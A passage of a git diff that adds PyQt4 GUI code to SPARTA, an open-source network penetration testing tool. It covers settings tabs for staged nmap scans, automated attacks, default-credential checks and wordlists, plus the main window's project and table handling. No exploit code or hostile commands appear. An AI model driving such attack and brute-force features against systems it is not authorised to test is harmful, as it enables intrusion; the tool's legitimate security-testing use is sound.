= QtGui.QHBoxLayout() + self.labelTerminalLabel = QtGui.QLabel() + self.labelTerminalLabel.setText('Label') + self.labelTerminalLabel.setFixedWidth(70) + self.terminalLabelText = QtGui.QLineEdit() + self.terminalLabelText.setText(' ') + self.terminalLabelText.setReadOnly(True) + self.horLayout3.addWidget(self.labelTerminalLabel) + self.horLayout3.addWidget(self.terminalLabelText) + + self.horLayout4 = QtGui.QHBoxLayout() + self.commandTerminalLabel = QtGui.QLabel() + self.commandTerminalLabel.setText('Command') + self.commandTerminalLabel.setFixedWidth(70) + self.terminalCommandText = QtGui.QLineEdit() + self.terminalCommandText.setText('init value') + self.horLayout4.addWidget(self.commandTerminalLabel) + self.horLayout4.addWidget(self.terminalCommandText) + + self.terminalServicesAllTable = QtGui.QTableWidget() + self.terminalServicesAllTable.setSelectionBehavior(QAbstractItemView.SelectRows) + self.terminalServicesAllTable.setMaximumSize(150, 300) + self.terminalServicesAllTable.setColumnCount(1) + self.terminalServicesAllTable.horizontalHeader().resizeSection(0,150) + self.terminalServicesAllTable.setHorizontalHeaderItem(0, QtGui.QTableWidgetItem()) + self.terminalServicesAllTable.horizontalHeaderItem(0).setText("Available Services") + self.terminalServicesAllTable.horizontalHeader().setVisible(False) + self.terminalServicesAllTable.setShowGrid(False) + self.terminalServicesAllTable.verticalHeader().setVisible(False) + + self.terminalServicesActiveTable = QtGui.QTableWidget() + self.terminalServicesActiveTable.setSelectionBehavior(QAbstractItemView.SelectRows) + self.terminalServicesActiveTable.setMaximumSize(150, 300) + self.terminalServicesActiveTable.setColumnCount(1) + self.terminalServicesActiveTable.horizontalHeader().resizeSection(0,150) + self.terminalServicesActiveTable.setHorizontalHeaderItem(0, QtGui.QTableWidgetItem()) + self.terminalServicesActiveTable.horizontalHeaderItem(0).setText("Applied Services") + self.terminalServicesActiveTable.horizontalHeader().setVisible(False) + self.terminalServicesActiveTable.setShowGrid(False) + self.terminalServicesActiveTable.verticalHeader().setVisible(False) + + self.addTerminalServiceButton = QPushButton('-->') + self.addTerminalServiceButton.setMaximumSize(30, 30) + self.removeTerminalServiceButton = QPushButton('<--') + self.removeTerminalServiceButton.setMaximumSize(30, 30) + + self.verLayout3 = QtGui.QVBoxLayout() + self.spacer2 = QSpacerItem(0,90) + self.verLayout3.addItem(self.spacer2) + self.verLayout3.addWidget(self.addTerminalServiceButton) + self.verLayout3.addWidget(self.removeTerminalServiceButton) + self.verLayout3.addItem(self.spacer2) + + self.horLayout5 = QtGui.QHBoxLayout() + self.spacer3 = QSpacerItem(78,0) + self.horLayout5.addItem(self.spacer3) + self.horLayout5.addWidget(self.terminalServicesAllTable) + self.horLayout5.addLayout(self.verLayout3) + self.horLayout5.addWidget(self.terminalServicesActiveTable) + + self.verLayout2 = QtGui.QVBoxLayout() + self.spacer4 = QSpacerItem(0,20) + self.verLayout2.addItem(self.spacer4) + self.verLayout2.addLayout(self.horLayout2) + self.verLayout2.addLayout(self.horLayout3) + self.verLayout2.addLayout(self.horLayout4) + self.verLayout2.addLayout(self.horLayout5) + self.spacer5 = QSpacerItem(0,50) + self.verLayout2.addItem(self.spacer5) + + self.globLayoutTerminalActions = QtGui.QHBoxLayout(self.portTerminalActionsWidget) + self.globLayoutTerminalActions.addLayout(self.verLayout1) + self.spacer6 = QSpacerItem(10,0) + self.globLayoutTerminalActions.addItem(self.spacer6) + self.globLayoutTerminalActions.addLayout(self.verLayout2) + self.spacer7 = QSpacerItem(50,0) + self.globLayoutTerminalActions.addItem(self.spacer7) + + def setupStagedNmapTab(self): + self.stage1label = QtGui.QLabel() + self.stage1label.setText('nmap stage 1') + self.stage1label.setFixedWidth(100) + self.stage1Input = QtGui.QLineEdit() + self.stage1Input.setFixedWidth(500) + self.hlayout1 = QtGui.QHBoxLayout() + self.hlayout1.addWidget(self.stage1label) + self.hlayout1.addWidget(self.stage1Input) + + self.stage2label = QtGui.QLabel() + self.stage2label.setText('nmap stage 2') + self.stage2label.setFixedWidth(100) + self.stage2Input = QtGui.QLineEdit() + self.stage2Input.setFixedWidth(500) + self.hlayout2 = QtGui.QHBoxLayout() + self.hlayout2.addWidget(self.stage2label) + self.hlayout2.addWidget(self.stage2Input) + + self.stage3label = QtGui.QLabel() + self.stage3label.setText('nmap stage 3') + self.stage3label.setFixedWidth(100) + self.stage3Input = QtGui.QLineEdit() + self.stage3Input.setFixedWidth(500) + self.hlayout3 = QtGui.QHBoxLayout() + self.hlayout3.addWidget(self.stage3label) + self.hlayout3.addWidget(self.stage3Input) + + self.stage4label = QtGui.QLabel() + self.stage4label.setText('nmap stage 4') + self.stage4label.setFixedWidth(100) + self.stage4Input = QtGui.QLineEdit() + self.stage4Input.setFixedWidth(500) + self.hlayout4 = QtGui.QHBoxLayout() + self.hlayout4.addWidget(self.stage4label) + self.hlayout4.addWidget(self.stage4Input) + + self.stage5label = QtGui.QLabel() + self.stage5label.setText('nmap stage 5') + self.stage5label.setFixedWidth(100) + self.stage5Input = QtGui.QLineEdit() + self.stage5Input.setFixedWidth(500) + self.hlayout5 = QtGui.QHBoxLayout() + self.hlayout5.addWidget(self.stage5label) + self.hlayout5.addWidget(self.stage5Input) + + self.vlayout1 = QtGui.QVBoxLayout() + self.vlayout1.addLayout(self.hlayout1) + self.vlayout1.addLayout(self.hlayout2) + self.vlayout1.addLayout(self.hlayout3) + self.vlayout1.addLayout(self.hlayout4) + self.vlayout1.addLayout(self.hlayout5) + self.vlayout1.addStretch() + + self.gHorLayout = QtGui.QHBoxLayout(self.StagedNmapWidget) + self.gHorLayout.addLayout(self.vlayout1) + self.spacer2 = QSpacerItem(50,0) # right margin spacer + self.gHorLayout.addItem(self.spacer2) + + def setupAutomatedAttacksTab(self): + self.GeneralAutoSettingsWidget = QtGui.QWidget() + self.AutoAttacksSettingsTab.addTab(self.GeneralAutoSettingsWidget, "General") + self.AutoToolsWidget = QtGui.QWidget() + self.AutoAttacksSettingsTab.addTab(self.AutoToolsWidget, "Tool Configuration") + + self.setupAutoAttacksGeneralTab() + self.setupAutoAttacksToolTab() + + def setupAutoAttacksGeneralTab(self): + self.globVerAutoSetLayout = QtGui.QVBoxLayout(self.GeneralAutoSettingsWidget) + + self.enableAutoAttacks = QtGui.QCheckBox() + self.enableAutoAttacks.setText('Run automated attacks') + self.checkDefaultCred = QtGui.QCheckBox() + self.checkDefaultCred.setText('Check for default credentials') + + self.defaultBoxVerlayout = QtGui.QVBoxLayout() + self.defaultCredentialsBox = QGroupBox("Default Credentials") + self.defaultCredentialsBox.setLayout(self.defaultBoxVerlayout) + self.globVerAutoSetLayout.addWidget(self.enableAutoAttacks) + self.globVerAutoSetLayout.addWidget(self.checkDefaultCred) + self.globVerAutoSetLayout.addWidget(self.defaultCredentialsBox) + self.globVerAutoSetLayout.addStretch() + + def setupAutoAttacksToolTab(self): + self.toolNameLabel = QtGui.QLabel() + self.toolNameLabel.setText('Tool') + self.toolNameLabel.setFixedWidth(150) + self.toolServicesLabel = QtGui.QLabel() + self.toolServicesLabel.setText('Services') + self.toolServicesLabel.setFixedWidth(300) + self.enableAllToolsLabel = QtGui.QLabel() + self.enableAllToolsLabel.setText('Run automatically') + self.enableAllToolsLabel.setFixedWidth(150) + + self.autoToolTabHorLayout = QtGui.QHBoxLayout() + self.autoToolTabHorLayout.addWidget(self.toolNameLabel) + self.autoToolTabHorLayout.addWidget(self.toolServicesLabel) + self.autoToolTabHorLayout.addWidget(self.enableAllToolsLabel) + + self.scrollArea = QtGui.QScrollArea() + self.scrollWidget = QtGui.QWidget() + + self.globVerAutoToolsLayout = QtGui.QVBoxLayout(self.AutoToolsWidget) + self.globVerAutoToolsLayout.addLayout(self.autoToolTabHorLayout) + + self.scrollVerLayout = QtGui.QVBoxLayout(self.scrollWidget) + self.enabledSpacer = QSpacerItem(60,0) + + # by default the automated attacks are not activated and the tab is not enabled + self.AutoAttacksSettingsTab.setTabEnabled(1,False) + + # for all the browse buttons + def wordlistDialog(self, title='Choose username path'): + if title == 'Choose username path': + path = QtGui.QFileDialog.getExistingDirectory(self, title, '/', QFileDialog.ShowDirsOnly | QFileDialog.DontResolveSymlinks) + self.userlistPath.setText(str(path)) + else: + path = QtGui.QFileDialog.getExistingDirectory(self, title, '/') + self.passwordlistPath.setText(str(path)) + diff --git a/ui/sparta.qss b/ui/sparta.qss new file mode 100644 index 00000000..9e3bd5b1 --- /dev/null +++ b/ui/sparta.qss @@ -0,0 +1,13 @@ +QTabBar::close-button { + image: url(./images/closetab-small.png); + height: 10px; + width: 10px; +} + +QTabBar::close-button:hover { + image: url(./images/closetab-hover.png); +} + +QTabBar::close-button:pressed { + image: url(./images/closetab-press.png); +} diff --git a/ui/view.py b/ui/view.py new file mode 100644 index 00000000..af1b8227 --- /dev/null +++ b/ui/view.py @@ -0,0 +1,1434 @@ +#!/usr/bin/env python + +''' +SPARTA - Network Infrastructure Penetration Testing Tool (http://sparta.secforce.com) +Copyright (c) 2015 SECFORCE (Antonio Quina and Leonidas Stavliotis) + + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. + + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + + You should have received a copy of the GNU General Public License along with this program. If not, see . +''' + +import sys, os, ntpath, signal, re # for file operations, to kill processes and for regex + +try: + from PyQt4.QtCore import * # for filters dialog +except ImportError: + print("[-] Import failed. PyQt4 library not found. \nTry installing it with: apt install python-qt4") + +try: + usePySide = False + from PyQt4 import QtWebKit +except ImportError as e: + try: + from PySide import QtWebKit + usePySide = True + except ImportErro as e: + print("[-] Import failed. QtWebKit library not found. \nTry installing it with: apt install python-pyside.qtwebkit") + exit(1) + +from ui.gui import * +from ui.dialogs import * +from ui.settingsdialogs import * +from app.hostmodels import * +from app.servicemodels import * +from app.scriptmodels import * +from app.processmodels import * +from app.auxiliary import * +import time #temp +from six import u as unicode + +# this class handles everything gui-related +class View(QtCore.QObject): + tick = QtCore.pyqtSignal(int, name="changed") # signal used to update the progress bar + + def __init__(self, ui, ui_mainwindow): + QtCore.QObject.__init__(self) + self.ui = ui + self.ui_mainwindow = ui_mainwindow # TODO: retrieve window dimensions/location from settings + self.ui_mainwindow.setGeometry(0,30,1024,650) # align window to topleft corner and set default size + self.ui.splitter_2.setSizes([300,10]) # set better default size for bottom panel + + self.startOnce() # initialisations that happen only once, when the SPARTA is launched + self.startConnections() # signal initialisations (signals/slots, actions, etc) + + def setController(self, controller): # the view needs access to controller methods to link gui actions with real actions + self.controller = controller + + def startOnce(self): + self.fixedTabsCount = self.ui.ServicesTabWidget.count() # the number of fixed host tabs (services, scripts, information, notes) + self.hostInfoWidget = HostInformationWidget(self.ui.InformationTab) + self.filterdialog = FiltersDialog(self.ui.centralwidget) + self.importProgressWidget = ProgressWidget('Importing nmap..', self.ui.centralwidget) + self.adddialog = AddHostsDialog(self.ui.centralwidget) + self.settingsWidget = AddSettingsDialog(self.ui.centralwidget) + self.helpWidget = QtWebKit.QWebView() + self.helpWidget.setWindowTitle('SPARTA Help') + + # kali moves the help file so let's find it + url = './doc/help.html' + if not os.path.exists(url): + url = '/usr/share/doc/sparta/help.html' + + if usePySide: + self.helpWidget.load(url) + else: + self.helpWidget.load(QUrl(url)) + + self.ui.HostsTableView.setSelectionMode(1) # disable multiple selection + self.ui.ServiceNamesTableView.setSelectionMode(1) + self.ui.ToolsTableView.setSelectionMode(1) + self.ui.ScriptsTableView.setSelectionMode(1) + self.ui.ToolHostsTableView.setSelectionMode(1) + + # initialisations (globals, etc) + def start(self, title='*untitled'): + self.dirty = False # to know if the project has been saved + self.firstSave = True # to know if we should use the save as dialog (should probably be False until we add/import a host) + self.hostTabs = dict() # to keep track of which tabs should be displayed for each host + self.bruteTabCount = 1 # to keep track of the numbering of the bruteforce tabs (incremented when a new tab is added) + + self.filters = Filters() # to choose what to display in each panel + + self.ui.keywordTextInput.setText('') # clear keyword filter + + self.lastHostIdClicked = '' # TODO: check if we can get rid of this one. + self.ip_clicked = '' # useful when updating interfaces (serves as memory) + self.service_clicked = '' # useful when updating interfaces (serves as memory) + self.tool_clicked = '' # useful when updating interfaces (serves as memory) + self.script_clicked = '' # useful when updating interfaces (serves as memory) + self.tool_host_clicked = '' # useful when updating interfaces (serves as memory) + self.lazy_update_hosts = False # these variables indicate that the corresponding table needs to be updated. + self.lazy_update_services = False # 'lazy' means we only update a table at the last possible minute - before the user needs to see it + self.lazy_update_tools = False + self.menuVisible = False # to know if a context menu is showing (important to avoid disrupting the user) + self.ProcessesTableModel = None # fixes bug when sorting processes for the first time + + self.setMainWindowTitle(title) + self.ui.statusbar.showMessage('Starting up..', msecs=1000) + + self.initTables() # initialise all tables + + self.updateInterface() + self.restoreToolTabWidget(True) # True means we want to show the original textedit + self.updateScriptsOutputView('') # update the script output panel (right) + self.updateToolHostsTableView('') + self.ui.MainTabWidget.setCurrentIndex(0) # display scan tab by default + self.ui.HostsTabWidget.setCurrentIndex(0) # display Hosts tab by default + self.ui.ServicesTabWidget.setCurrentIndex(0) # display Services tab by default + self.ui.BottomTabWidget.setCurrentIndex(0) # display Log tab by default + self.ui.BruteTabWidget.setTabsClosable(True) # sets all tabs as closable in bruteforcer + + self.ui.ServicesTabWidget.setTabsClosable(True) # hide the close button (cross) from the fixed tabs + + self.ui.ServicesTabWidget.tabBar().setTabButton(0, QTabBar.RightSide, None) + self.ui.ServicesTabWidget.tabBar().setTabButton(1, QTabBar.RightSide, None) + self.ui.ServicesTabWidget.tabBar().setTabButton(2, QTabBar.RightSide, None) + self.ui.ServicesTabWidget.tabBar().setTabButton(3, QTabBar.RightSide, None) + + self.resetBruteTabs() # clear brute tabs (if any) and create default brute tab + self.displayToolPanel(False) + self.displayScreenshots(False) + self.displayAddHostsOverlay(True) # displays an overlay over the hosttableview saying 'click here to add host(s) to scope' + + def startConnections(self): # signal initialisations (signals/slots, actions, etc) + ### MENU ACTIONS ### + self.connectCreateNewProject() + self.connectOpenExistingProject() + self.connectSaveProject() + self.connectSaveProjectAs() + self.connectAddHosts() + self.connectImportNmap() + self.connectSettings() + self.connectHelp() + self.connectAppExit() + ### TABLE ACTIONS ### + self.connectAddHostsOverlayClick() + self.connectHostTableClick() + self.connectServiceNamesTableClick() + self.connectToolsTableClick() + self.connectScriptTableClick() + self.connectToolHostsClick() + self.connectAdvancedFilterClick() + self.connectSwitchTabClick() # to detect changing tabs (on left panel) + self.connectSwitchMainTabClick() # to detect changing top level tabs + self.connectTableDoubleClick() # for double clicking on host (it redirects to the host view) + ### CONTEXT MENUS ### + self.connectHostsTableContextMenu() + self.connectServiceNamesTableContextMenu() + self.connectServicesTableContextMenu() + self.connectToolHostsTableContextMenu() + self.connectProcessesTableContextMenu() + self.connectScreenshotContextMenu() + ### OTHER ### + self.ui.NotesTextEdit.textChanged.connect(self.setDirty) + self.ui.FilterApplyButton.clicked.connect(self.updateFilterKeywords) + self.ui.ServicesTabWidget.tabCloseRequested.connect(self.closeHostToolTab) + self.ui.BruteTabWidget.tabCloseRequested.connect(self.closeBruteTab) + self.ui.keywordTextInput.returnPressed.connect(self.ui.FilterApplyButton.click) + self.filterdialog.applyButton.clicked.connect(self.updateFilter) + self.settingsWidget.applyButton.clicked.connect(self.applySettings) + self.settingsWidget.cancelButton.clicked.connect(self.cancelSettings) + #self.settingsWidget.applyButton.clicked.connect(self.controller.applySettings(self.settingsWidget.settings)) + self.tick.connect(self.importProgressWidget.setProgress) # slot used to update the progress bar + + #################### AUXILIARY #################### + + def initTables(self): # this function prepares the default settings for each table + # hosts table (left) + headers = ["Id", "OS","Accuracy","Host","IPv4","IPv6","Mac","Status","Hostname","Vendor","Uptime","Lastboot","Distance","CheckedHost","State","Count"] + setTableProperties(self.ui.HostsTableView, len(headers), [0,2,4,5,6,7,8,9,10,11,12,13,14,15]) + self.ui.HostsTableView.horizontalHeader().setResizeMode(1,2) + self.ui.HostsTableView.horizontalHeader().resizeSection(1,30) + + # service names table (left) + headers = ["Name"] + setTableProperties(self.ui.ServiceNamesTableView, len(headers)) + + # tools table (left) + headers = ["Progress","Display","Pid","Tool","Tool","Host","Port","Protocol","Command","Start time","OutputFile","Output","Status"] + setTableProperties(self.ui.ToolsTableView, len(headers), [0,1,2,4,5,6,7,8,9,10,11,12,13]) + + # service table (right) + headers = ["Host","Port","Port","Protocol","State","HostId","ServiceId","Name","Product","Version","Extrainfo","Fingerprint"] + setTableProperties(self.ui.ServicesTableView, len(headers), [0,1,5,6,8,10,11]) + self.ui.ServicesTableView.horizontalHeader().setResizeMode(0) + + # ports by service (right) + headers = ["Host","Port","Port","Protocol","State","HostId","ServiceId","Name","Product","Version","Extrainfo","Fingerprint"] + setTableProperties(self.ui.ServicesTableView, len(headers), [2,5,6,8,10,11]) + self.ui.ServicesTableView.horizontalHeader().setResizeMode(0) + self.ui.ServicesTableView.horizontalHeader().resizeSection(0,130) # resize IP + + # scripts table (right) + headers = ["Id", "Script", "Port", "Protocol"] + setTableProperties(self.ui.ScriptsTableView, len(headers), [0,3]) + + # tool hosts table (right) + headers = ["Progress","Display","Pid","Name","Action","Target","Port","Protocol","Command","Start time","OutputFile","Output","Status"] + setTableProperties(self.ui.ToolHostsTableView, len(headers), [0,1,2,3,4,7,8,9,10,11,12]) + self.ui.ToolHostsTableView.horizontalHeader().resizeSection(5,150) # default width for Host column + + # process table + headers = ["Progress","Display","Pid","Name","Tool","Host","Port","Protocol","Command","Start time","OutputFile","Output","Status"] + #setTableProperties(self.ui.ProcessesTableView, len(headers), [1,2,3,6,7,8,10,11]) + setTableProperties(self.ui.ProcessesTableView, len(headers), [1,2,3,6,7,8,11,12,14]) + self.ui.ProcessesTableView.horizontalHeader().resizeSection(0,125) + #self.ui.ProcessesTableView.horizontalHeader().resizeSection(4,125) + self.ui.ProcessesTableView.horizontalHeader().resizeSection(4,250) + + def setMainWindowTitle(self, title): + self.ui_mainwindow.setWindowTitle(str(title)) + + def setDirty(self, status=True): # this function is called for example when the user edits notes + self.dirty = status + title = '' + + if self.dirty: + title = '*' + if self.controller.isTempProject(): + title += 'untitled' + else: + title += ntpath.basename(str(self.controller.getProjectName())) + + self.setMainWindowTitle(self.controller.getVersion() + ' - ' + title + ' - ' + self.controller.getCWD()) + + #################### ACTIONS #################### + + def dealWithRunningProcesses(self, exiting=False): + if len(self.controller.getRunningProcesses()) > 0: + message = "There are still processes running. If you continue, every process will be terminated. Are you sure you want to continue?" + reply = QtGui.QMessageBox.question(self.ui.centralwidget, 'Confirm', message, QtGui.QMessageBox.Yes | QtGui.QMessageBox.No, QtGui.QMessageBox.No) + + if not reply == QtGui.QMessageBox.Yes: + return False + self.controller.killRunningProcesses() + + elif exiting: + return self.confirmExit() + + return True + + def dealWithCurrentProject(self, exiting=False): # returns True if we can proceed with: creating/opening a project or exiting + if self.dirty: # if there are unsaved changes, show save dialog first + if not self.saveOrDiscard(): # if the user canceled, stop + return False + + return self.dealWithRunningProcesses(exiting) # deal with running processes + + def confirmExit(self): + reply = QtGui.QMessageBox.question(self.ui.centralwidget, 'Confirm', "Are you sure to exit the program?", QtGui.QMessageBox.Yes | QtGui.QMessageBox.No, QtGui.QMessageBox.No) + return (reply == QtGui.QMessageBox.Yes) + + def killProcessConfirmation(self): + message = "Are you sure you want to kill the selected processes?" + reply = QtGui.QMessageBox.question(self.ui.centralwidget, 'Confirm', message, QtGui.QMessageBox.Yes | QtGui.QMessageBox.No, QtGui.QMessageBox.No) + if reply == QtGui.QMessageBox.Yes: + return True + return False + + ### + + def connectCreateNewProject(self): + self.ui.actionNew.triggered.connect(self.createNewProject) + + def createNewProject(self): + if self.dealWithCurrentProject(): + print('[+] Creating new project..') + self.controller.createNewProject() + + ### + + def connectOpenExistingProject(self): + self.ui.actionOpen.triggered.connect(self.openExistingProject) + + def openExistingProject(self): + if self.dealWithCurrentProject(): + filename = QtGui.QFileDialog.getOpenFileName(self.ui.centralwidget, 'Open project', self.controller.getCWD(), filter='SPARTA project (*.sprt)') + + if not filename == '': # check for permissions + if not os.access(filename, os.R_OK) or not os.access(filename, os.W_OK): + print('[-] Insufficient permissions to open this file.') + reply = QtGui.QMessageBox.warning(self.ui.centralwidget, 'Warning', "You don't have the necessary permissions on this file.","Ok") + return + + self.controller.openExistingProject(filename) + self.firstSave = False # overwrite this variable because we are opening an existing file + self.displayAddHostsOverlay(False) # do not show the overlay because the hosttableview is already populated + + else: + print('\t[-] No file chosen..') + + ### + + def connectSaveProject(self): + self.ui.actionSave.triggered.connect(self.saveProject) + + def saveProject(self): + self.ui.statusbar.showMessage('Saving..') + if self.firstSave: + self.saveProjectAs() + else: + print('[+] Saving project..') + self.controller.saveProject(self.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) + + self.setDirty(False) + self.ui.statusbar.showMessage('Saved!', msecs=1000) + print('\t[+] Saved!') + + ### + + def connectSaveProjectAs(self): + self.ui.actionSaveAs.triggered.connect(self.saveProjectAs) + + def saveProjectAs(self): + self.ui.statusbar.showMessage('Saving..') + print('[+] Saving project..') + + self.controller.saveProject(self.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) + + filename = QtGui.QFileDialog.getSaveFileName(self.ui.centralwidget, 'Save project as', self.controller.getCWD(), filter='SPARTA project (*.sprt)', options=QtGui.QFileDialog.DontConfirmOverwrite) + + while not filename =='': + + if not os.access(ntpath.dirname(str(filename)), os.R_OK) or not os.access(ntpath.dirname(str(filename)), os.W_OK): + print('[-] Insufficient permissions on this folder.') + reply = QtGui.QMessageBox.warning(self.ui.centralwidget, 'Warning', "You don't have the necessary permissions on this folder.","Ok") + + else: + if self.controller.saveProjectAs(filename): + break + + if not str(filename).endswith('.sprt'): + filename = str(filename) + '.sprt' + msgBox = QtGui.QMessageBox() + reply = msgBox.question(self.ui.centralwidget, 'Confirm', "A file named \""+ntpath.basename(str(filename))+"\" already exists. Do you want to replace it?", "Abort", "Replace", "", 0) + + if reply == 1: + self.controller.saveProjectAs(filename, 1) # replace + break + + filename = QtGui.QFileDialog.getSaveFileName(self.ui.centralwidget, 'Save project as', '.', filter='SPARTA project (*.sprt)', options=QtGui.QFileDialog.DontConfirmOverwrite) + + if not filename == '': + self.setDirty(False) + self.firstSave = False + self.ui.statusbar.showMessage('Saved!', msecs=1000) + self.controller.updateOutputFolder() + print('\t[+] Saved!') + else: + print('\t[-] No file chosen..') + + ### + + def saveOrDiscard(self): + reply = QtGui.QMessageBox.question(self.ui.centralwidget, 'Confirm', "The project has been modified. Do you want to save your changes?", QtGui.QMessageBox.Save | QtGui.QMessageBox.Discard | QtGui.QMessageBox.Cancel, QtGui.QMessageBox.Save) + + if reply == QtGui.QMessageBox.Save: + self.saveProject() + return True + elif reply == QtGui.QMessageBox.Discard: + return True + else: + return False # the user cancelled + + ### + + def closeProject(self): + self.ui.statusbar.showMessage('Closing project..', msecs=1000) + self.controller.closeProject() + self.removeToolTabs() # to make them disappear from the UI + + ### + + def connectAddHosts(self): + self.ui.actionAddHosts.triggered.connect(self.connectAddHostsDialog) + + def connectAddHostsDialog(self): + self.adddialog.addButton.setDefault(True) + self.adddialog.textinput.setFocus(True) + self.adddialog.validationLabel.hide() + self.adddialog.spacer.changeSize(15,15) + self.adddialog.show() + self.adddialog.addButton.clicked.connect(self.callAddHosts) + self.adddialog.cancelButton.clicked.connect(self.adddialog.close) + + def callAddHosts(self): + if validateNmapInput(self.adddialog.textinput.text()): + self.adddialog.close() + self.controller.addHosts(self.adddialog.textinput.text(), self.adddialog.discovery.isChecked(), self.adddialog.nmap.isChecked()) + self.adddialog.addButton.clicked.disconnect() # disconnect all the signals from that button + else: + self.adddialog.spacer.changeSize(0,0) + self.adddialog.validationLabel.show() + self.adddialog.addButton.clicked.disconnect() # disconnect all the signals from that button + self.adddialog.addButton.clicked.connect(self.callAddHosts) + + ### + + def connectImportNmap(self): + self.ui.actionImportNmap.triggered.connect(self.importNmap) + + def importNmap(self): + self.ui.statusbar.showMessage('Importing nmap xml..', msecs=1000) + filename = QtGui.QFileDialog.getOpenFileName(self.ui.centralwidget, 'Choose nmap file', self.controller.getCWD(), filter='XML file (*.xml)') + + if not filename == '': + + if not os.access(filename, os.R_OK): # check for read permissions on the xml file + print('[-] Insufficient permissions to read this file.') + reply = QtGui.QMessageBox.warning(self.ui.centralwidget, 'Warning', "You don't have the necessary permissions to read this file.","Ok") + return + + self.importProgressWidget.reset('Importing nmap..') + self.controller.nmapImporter.setFilename(str(filename)) + self.controller.nmapImporter.start() + self.controller.copyNmapXMLToOutputFolder(str(filename)) + self.importProgressWidget.show() + + else: + print('\t[-] No file chosen..') + + ### + + def connectSettings(self): + self.ui.actionSettings.triggered.connect(self.showSettingsWidget) + + def showSettingsWidget(self): + self.settingsWidget.resetTabIndexes() + self.settingsWidget.show() + + def applySettings(self): + if self.settingsWidget.applySettings(): + self.controller.applySettings(self.settingsWidget.settings) + self.settingsWidget.hide() + + def cancelSettings(self): + print('DEBUG: cancel button pressed') # LEO: we can use this later to test ESC button once implemented. + self.settingsWidget.hide() + self.controller.cancelSettings() + + def connectHelp(self): + self.ui.menuHelp.triggered.connect(self.helpWidget.show) + + ### + + def connectAppExit(self): + self.ui.actionExit.triggered.connect(self.appExit) + + def appExit(self): + if self.dealWithCurrentProject(True): # the parameter indicates that we are exiting the application + self.closeProject() + print('[+] Exiting application..') + sys.exit(0) + + ### TABLE ACTIONS ### + + def connectAddHostsOverlayClick(self): + self.ui.addHostsOverlay.selectionChanged.connect(self.connectAddHostsDialog) + + def connectHostTableClick(self): + self.ui.HostsTableView.clicked.connect(self.hostTableClick) + + # TODO: review - especially what tab is selected when coming from another host + def hostTableClick(self): + if self.ui.HostsTableView.selectionModel().selectedRows(): # get the IP address of the selected host (if any) + row = self.ui.HostsTableView.selectionModel().selectedRows()[len(self.ui.HostsTableView.selectionModel().selectedRows())-1].row() + self.ip_clicked = self.HostsTableModel.getHostIPForRow(row) + save = self.ui.ServicesTabWidget.currentIndex() + self.removeToolTabs() + self.restoreToolTabsForHost(self.ip_clicked) + self.updateRightPanel(self.ip_clicked) + self.ui.ServicesTabWidget.setCurrentIndex(save) # display services tab if we are coming from a dynamic tab (non-fixed) + + else: + self.removeToolTabs() + self.updateRightPanel('') + + ### + + def connectServiceNamesTableClick(self): + self.ui.ServiceNamesTableView.clicked.connect(self.serviceNamesTableClick) + + def serviceNamesTableClick(self): + if self.ui.ServiceNamesTableView.selectionModel().selectedRows(): + row = self.ui.ServiceNamesTableView.selectionModel().selectedRows()[len(self.ui.ServiceNamesTableView.selectionModel().selectedRows())-1].row() + self.service_clicked = self.ServiceNamesTableModel.getServiceNameForRow(row) + self.updatePortsByServiceTableView(self.service_clicked) + + ### + + def connectToolsTableClick(self): + self.ui.ToolsTableView.clicked.connect(self.toolsTableClick) + + def toolsTableClick(self): + if self.ui.ToolsTableView.selectionModel().selectedRows(): + row = self.ui.ToolsTableView.selectionModel().selectedRows()[len(self.ui.ToolsTableView.selectionModel().selectedRows())-1].row() + self.tool_clicked = self.ToolsTableModel.getToolNameForRow(row) + self.updateToolHostsTableView(self.tool_clicked) + self.displayScreenshots(self.tool_clicked == 'screenshooter') # if we clicked on the screenshooter we need to display the screenshot widget + + # update the updateToolHostsTableView when the user closes all the host tabs + # TODO: this doesn't seem right + else: + self.updateToolHostsTableView('') + self.ui.DisplayWidgetLayout.addWidget(self.ui.toolOutputTextView) + + ### + + def connectScriptTableClick(self): + self.ui.ScriptsTableView.clicked.connect(self.scriptTableClick) + + def scriptTableClick(self): + if self.ui.ScriptsTableView.selectionModel().selectedRows(): + row = self.ui.ScriptsTableView.selectionModel().selectedRows()[len(self.ui.ScriptsTableView.selectionModel().selectedRows())-1].row() + self.script_clicked = self.ScriptsTableModel.getScriptDBIdForRow(row) + self.updateScriptsOutputView(self.script_clicked) + + ### + + def connectToolHostsClick(self): + self.ui.ToolHostsTableView.clicked.connect(self.toolHostsClick) + + # TODO: review / duplicate code + def toolHostsClick(self): + if self.ui.ToolHostsTableView.selectionModel().selectedRows(): + row = self.ui.ToolHostsTableView.selectionModel().selectedRows()[len(self.ui.ToolHostsTableView.selectionModel().selectedRows())-1].row() + self.tool_host_clicked = self.ToolHostsTableModel.getProcessIdForRow(row) + ip = self.ToolHostsTableModel.getIpForRow(row) + + if self.tool_clicked == 'screenshooter': + filename = self.ToolHostsTableModel.getOutputfileForRow(row) + self.ui.ScreenshotWidget.open(str(self.controller.getOutputFolder())+'/screenshots/'+str(filename)) + + else: + self.restoreToolTabWidget() # restore the tool output textview now showing in the tools display panel to its original host tool tab + + if self.ui.DisplayWidget.findChild(QtGui.QPlainTextEdit): # remove the tool output currently in the tools display panel (if any) + self.ui.DisplayWidget.findChild(QtGui.QPlainTextEdit).setParent(None) + + tabs = [] # fetch tab list for this host (if any) + if str(ip) in self.hostTabs: + tabs = self.hostTabs[str(ip)] + + for tab in tabs: # place the tool output textview in the tools display panel + if tab.findChild(QtGui.QPlainTextEdit) and str(tab.findChild(QtGui.QPlainTextEdit).property('dbId')) == str(self.tool_host_clicked): + self.ui.DisplayWidgetLayout.addWidget(tab.findChild(QtGui.QPlainTextEdit)) + break + + ### + + def connectAdvancedFilterClick(self): + self.ui.FilterAdvancedButton.clicked.connect(self.advancedFilterClick) + + def advancedFilterClick(self, current): + self.filterdialog.setCurrentFilters(self.filters.getFilters()) # to make sure we don't show filters than have been clicked but cancelled + self.filterdialog.show() + + def updateFilter(self): + f = self.filterdialog.getFilters() + self.filters.apply(f[0], f[1], f[2], f[3], f[4], f[5], f[6], f[7], f[8]) + self.ui.keywordTextInput.setText(" 